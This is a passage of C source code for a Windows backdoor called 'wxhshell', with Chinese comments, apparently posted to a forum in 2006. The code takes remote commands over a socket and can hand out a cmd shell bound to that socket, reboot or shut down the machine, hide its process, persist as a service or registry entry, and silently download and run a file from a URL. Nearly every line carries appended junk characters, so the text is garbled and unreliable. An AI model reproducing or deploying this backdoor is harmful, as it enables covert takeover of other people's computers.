      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nZQZ!Vfj  
    break; $i@5'[jA  
  } ^sH1YE}0  
  // 安装 =1n>vUW+J  
  case 'i': { &eY$(o-Hw  
    if(Install()) =_cWCl^5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  ]\P  
    else ?"AcK" v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a(Z" }m  
    break; K@*m6)  
    } 'rf='Y  
  // 卸载 3uRnbO-  
  case 'r': { > ^3xBI:Q  
    if(Uninstall()) cZL"e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @6.1EK0  
    else )@Xdr0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7 pg8kq@  
    break; Uy ;oJY  
    } I}Q3B3Byg  
  // 显示 wxhshell 所在路径 Fg4eIE-/M  
  case 'p': { wr*A%:  
    char svExeFile[MAX_PATH]; TO[5h Y\  
    strcpy(svExeFile,"\n\r"); wSIt"g,%  
      strcat(svExeFile,ExeFile); 4$.UVW\  
        send(wsh,svExeFile,strlen(svExeFile),0); ) !ZA.sx  
    break; R|!4Y`  
    } w _eu@R:u@  
  // 重启 @]*z!>1  
  case 'b': { /]]\jj#^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1; L!g*!E  
    if(Boot(REBOOT)) #=t:xEz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iG!MIt*  
    else { 7+T\  
    closesocket(wsh); r~nrP=-%  
    ExitThread(0); $.kIB+K  
    } T:cSv @G  
    break; >E"FoZM=  
    } |#5JI #,vX  
  // 关机 ]2zx}D4f  
  case 'd': { v}[KVwse  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xNxIqq<k  
    if(Boot(SHUTDOWN)) %X GX(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @b!fs  
    else { WF-imI:EK  
    closesocket(wsh); jy@}$g{  
    ExitThread(0); 9'//_ A,  
    } ZWf{!L,@Z  
    break; .(9IAAwKn  
    } e%'9oAz  
  // 获取shell cx_"{`+e  
  case 's': { tvRa.3  
    CmdShell(wsh); QS=n 50T,  
    closesocket(wsh); s3kh (N  
    ExitThread(0); 0?,EteR  
    break; .M:,pw"S]  
  } *o"F.H{#N  
  // 退出 +< BAJWU  
  case 'x': { >R!^aJ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L?KEe>;r  
    CloseIt(wsh); E pM 4 +  
    break; 6xz&Qi7w  
    } k~=-o>}C  
  // 离开 |BYD]vK  
  case 'q': { E?Q=#+}U  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); X[;4.imE  
    closesocket(wsh); 2b|vb}|t{  
    WSACleanup(); wZrdr4j  
    exit(1); Bfw>2  
    break; -ZihEyG?V  
        } :sT<<LtI-  
  } z eIBB  
  } UQW;!8J#R(  
>y]YF3?  
  // 提示信息 :X`J1E]Rjd  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &2?kD{  
} zP=J5qOZ8  
  } bk4%lYJ"  
]s, T` (&  
  return; } A# C  
} {8I93]  
2?-}(F;Z  
// shell模块句柄 8CEy#%7]}  
int CmdShell(SOCKET sock) A ;kAAM  
{ )_bXKYUX*0  
STARTUPINFO si; >!WJ{M0  
ZeroMemory(&si,sizeof(si)); uF(- h~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p3x(:=   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?6j@EJ<2q  
PROCESS_INFORMATION ProcessInfo; $g|g}>Sc  
char cmdline[]="cmd"; QT%&vq  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &]z2=\^e  
  return 0; |u;5|i  
} V<nzThM\  
)XO2DY1/&  
// 自身启动模式 P$4?-AZ  
int StartFromService(void) 9@vY(k k  
{ pbm4C0W}  
typedef struct j<L!ONvJ1  
{ Mu:*(P/  
  DWORD ExitStatus; #lVVSrF,-  
  DWORD PebBaseAddress; OH=Ffy F,  
  DWORD AffinityMask; PwDQ<   
  DWORD BasePriority; qVM]$V#e  
  ULONG UniqueProcessId; $<33E e:a  
  ULONG InheritedFromUniqueProcessId; Uc9Uj  
}   PROCESS_BASIC_INFORMATION; CB|z{(&N  
FP9ZOoog  
PROCNTQSIP NtQueryInformationProcess; ]i$CE|~  
J::SFu=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; q(uu;l[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  'Z&A5\~  
?=4J  
  HANDLE             hProcess; *jW$AH  
  PROCESS_BASIC_INFORMATION pbi; +Tu:zCv.  
-@#AQ\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9U;) [R Mb  
  if(NULL == hInst ) return 0; )(!vd!p5  
hR{Fn L  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }:hdAZ+z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u-k*[!JU  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  R6AZIN:  
mfx 'Yw*{  
  if (!NtQueryInformationProcess) return 0; O>k.sO <  
@ObsW!g  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); p(x[zn+%Y  
  if(!hProcess) return 0; fwl RwH(  
Pel3e ~?t  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %HSoQ?qA  
aMj3ov8p  
  CloseHandle(hProcess); &'|bZms g  
Bq$bxuhV  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); cc^V~-ph  
if(hProcess==NULL) return 0; OK2wxf  
e|kYu[^  
HMODULE hMod; v1)jZ.:  
char procName[255]; :W'1Q2  
unsigned long cbNeeded; ^rxXAc[  
LL,~&5{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); cxmr|- ^  
4`*jF'N[  
  CloseHandle(hProcess); bTn-Pg){  
K, 35*  
if(strstr(procName,"services")) return 1; // 以服务启动 EIf~>AI  
("9)=x*5  
  return 0; // 注册表启动 o\2#}eie  
} Ajq<=y`NzV  
)I5f`r=Ry  
// 主模块 9h9Y:i*Gh5  
int StartWxhshell(LPSTR lpCmdLine) i@g6%V=  
{ Kk/qd)nk  
  SOCKET wsl; fCF93,?$  
BOOL val=TRUE; b8`O7@ar  
  int port=0; %F{@DN`  
  struct sockaddr_in door; f:BW{Cij;y  
WS,p}:yPZG  
  if(wscfg.ws_autoins) Install(); r\em-%:  
_e?(Gs0BM  
port=atoi(lpCmdLine); ;>YJ}:r"\  
gWJLWL2  
if(port<=0) port=wscfg.ws_port; ixU1v~T  
-aec1+o  
  WSADATA data; 46$5f?Z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `Y'}\>.#  
$aVcWz %  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   UHxXa*HyI  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); GadD*psD2  
  door.sin_family = AF_INET; oFY'Ek;d  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,>e<mphM  
  door.sin_port = htons(port); &{7%Vs TB  
W}T$Z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *d)B4qG  
closesocket(wsl); ;%Z)$+Z_)<  
return 1; 3 i>uKU1  
} -lLq)  
Qy9#(596  
  if(listen(wsl,2) == INVALID_SOCKET) { OvQG%D}P=  
closesocket(wsl); 'jfI1 ]q  
return 1; a7M8sZ?"  
} iXXgPapz  
  Wxhshell(wsl); PY) 74sa  
  WSACleanup(); .+ _x|?'  
xe_c`%_  
return 0; !$&K~>`  
3ne=7Mj  
} FVHEb\Z  
Plt~l3_  
// 以NT服务方式启动 ! 5]/2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O~igwFe  
{ t*n!kXa  
DWORD   status = 0; $ABW|r  
  DWORD   specificError = 0xfffffff; r1t  TY?  
c!6.D  
  serviceStatus.dwServiceType     = SERVICE_WIN32; HbV[L)zYG  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; k}JjSt1_A;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; q?JP\_o:  
  serviceStatus.dwWin32ExitCode     = 0; hXZk$a'  
  serviceStatus.dwServiceSpecificExitCode = 0; S{&;  
  serviceStatus.dwCheckPoint       = 0; _W&.{ 7  
  serviceStatus.dwWaitHint       = 0; (?oK+,v?L  
7TlOF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  Q L  
  if (hServiceStatusHandle==0) return; @0+@.&Z  
3M/kfy  
status = GetLastError(); $S3C_..  
  if (status!=NO_ERROR) _AK-AY  
{ (AV j_Cw  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ql^n=+U  
    serviceStatus.dwCheckPoint       = 0; h\:"k_u#  
    serviceStatus.dwWaitHint       = 0; 7!z0)Ai_>=  
    serviceStatus.dwWin32ExitCode     = status; !~PV\DQN  
    serviceStatus.dwServiceSpecificExitCode = specificError; vr2tMD  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); W!htCwnkF  
    return; .y|*  
  } A)'{G  
PC=b.H8P+W  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; b$%W<D  
  serviceStatus.dwCheckPoint       = 0; l2z@t3{  
  serviceStatus.dwWaitHint       = 0;  ig jr=e  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); s}X2*o`,  
} 05$CIS>!  
z GA1  
// 处理NT服务事件,比如:启动、停止 Np+<)q2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {0QNqjue  
{ mM!Gomp  
switch(fdwControl) =5',obYN>c  
{ :[,-wZiT~6  
case SERVICE_CONTROL_STOP: D8G5,s-.  
  serviceStatus.dwWin32ExitCode = 0; ;MR8E9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; f{G ^b&x  
  serviceStatus.dwCheckPoint   = 0; AwUcU;"9>  
  serviceStatus.dwWaitHint     = 0; h 5<46!P  
  { RMDzPda.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !CY: XQm  
  } ?7*.S Lt  
  return; B[epI3 R  
case SERVICE_CONTROL_PAUSE: Y'mtMLfMc  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =g UOHH  
  break; RGf&KV/  
case SERVICE_CONTROL_CONTINUE: RG0kOw0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -LhO </l  
  break; J<yt/V]  
case SERVICE_CONTROL_INTERROGATE: o7;lR?  
  break; lvY[E9I0  
}; W2&o'(P\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  6g576  
} +<a-;e{  
`1{Y9JdQ  
// 标准应用程序主函数 gE\&[;)DB  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `-/-(v+ i  
{ of659~EIW  
m %]1~b}"  
// 获取操作系统版本 o#fr5>h-w  
OsIsNt=GetOsVer(); TkBHlTa"=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); gNUYHNzDM(  
u%!/-&?wF  
  // 从命令行安装 GRM6H|.  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;G.5.q[A  
($'W(DH4  
  // 下载执行文件 2RG6m=Y8y  
if(wscfg.ws_downexe) { ~G,_4}#"pM  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w;W# 'pE  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;-#2p^  
} G5vp(%j  
FUzN }"\1  
if(!OsIsNt) { t-B5,,`  
// 如果时win9x,隐藏进程并且设置为注册表启动 \2)D  
HideProc(); xsu9DzPf&{  
StartWxhshell(lpCmdLine); :y'EIf  
} EM QGP<[  
else \Kr8k`f  
  if(StartFromService()) 2*Zk^h=  
  // 以服务方式启动 G%iT L"6  
  StartServiceCtrlDispatcher(DispatchTable); g&z8t;@  
else E@,m +  
  // 普通方式启动 N,W ?}  
  StartWxhshell(lpCmdLine); 'HKDGQl`  
u}3D'h  
return 0; Znr@-=xZO*  
}
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只看该作者 1 发表于: 2006-10-10
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